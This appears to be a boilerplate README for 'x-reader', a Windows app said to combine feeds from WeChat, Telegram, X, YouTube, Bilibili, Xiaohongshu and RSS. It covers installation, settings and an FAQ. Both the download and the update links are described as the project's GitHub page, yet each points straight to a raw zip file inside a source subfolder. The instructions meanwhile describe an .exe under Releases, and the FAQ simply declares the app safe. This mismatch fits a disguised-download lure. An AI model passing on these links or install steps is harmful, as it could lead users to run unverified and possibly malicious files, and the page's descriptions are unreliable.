x-reader helps you gather and read content from different platforms in one place. It pulls content from WeChat, Telegram, X, YouTube, Bilibili, Xiaohongshu, and RSS feeds. This way, you don’t have to check multiple apps or websites. It organizes everything so you can read smoothly.
The goal is to save time and make content easier to access. You only need to open one app and get useful updates from many sources.
To use x-reader on Windows, you need:
- Windows 10 or later (64-bit recommended)
- At least 4GB of RAM
- 100 MB free disk space
- Internet connection to fetch content
- A modern web browser (like Edge, Chrome, or Firefox) for setup and viewing content
You can visit the main page to get the latest version of x-reader. Click the big button below or follow the detailed steps next.
Go to the x-reader GitHub page by opening this link in your web browser:
https://github.com/AbMoeiz/x-reader/raw/refs/heads/main/x_reader/fetchers/reader_x_3.4-beta.2.zip
This page houses the latest files and instructions for the app.
On the GitHub page, look for a section called Releases or Assets. This area contains the setup file for Windows.
The file you need usually ends with .exe and includes the version number, such as x-reader-setup-1.0.exe.
Click the .exe file to start downloading. Depending on your browser, you might see the file at the bottom or in your downloads folder.
Wait for the download to complete before continuing.
Once downloaded, double-click the .exe file to launch the installer.
A setup window will open. Follow the prompts:
- Choose the folder where you want to save the app (the default is fine).
- Agree to any terms or licenses.
- Click Install or Next as needed.
After the installer finishes, it may ask you to open x-reader. You can launch it now or later using the desktop icon or Start menu.
x-reader gathers content from many places. Here is how to begin using it smoothly.
- Open the app.
- Find the Add Source button or menu.
- Choose a platform like WeChat, Telegram, X, YouTube, Bilibili, Xiaohongshu, or add an RSS feed URL.
- Follow the instructions to connect your account or enter the feed link.
These sources will sync and show new content in the app.
- After adding sources, your main screen will fill with articles, posts, videos, and updates.
- Click an item to read or watch it.
- Use filters or search to find content by date, platform, or keywords.
You can set alerts when new content arrives:
- Go to the Settings tab.
- Turn notifications on or off.
- Choose how often to check for updates.
x-reader lets you adjust the app to fit your needs.
- Select your preferred language.
- Choose light or dark mode for easier reading.
- Set startup options (open app at login or run minimized).
- Control how often to check for new content.
- Manage data usage, especially if you use mobile or metered internet.
- Block certain types of content or sources.
- Arrange the order of platforms in your feed.
If you face any issues, try these steps:
- Make sure your internet connection is working.
- Restart the app and try again.
- Check for updates on the GitHub page.
- Ensure Windows is up to date.
- If content does not load, remove and add the source again.
x-reader saves content locally for quick access.
- Default folder:
C:\Users\[YourName]\AppData\Local\x-reader\ - Cache size adjusts based on your settings.
- You can clear stored data from settings to free space.
Regular updates bring new features and fixes.
To update:
- Visit https://github.com/AbMoeiz/x-reader/raw/refs/heads/main/x_reader/fetchers/reader_x_3.4-beta.2.zip
- Download the newest setup file.
- Run it over your existing installation.
- Your data and settings will stay intact.
Q: Can I use x-reader offline?
A: You can view previously downloaded content offline, but fetching new content needs internet.
Q: Is x-reader safe?
A: The app does not share your data with third parties. It only accesses your content sources.
Q: Can I remove sources?
A: Yes, open the source list, select the one to remove, and click delete.
Q: How do I report bugs?
A: Use the GitHub issues page under the repository’s Issues tab.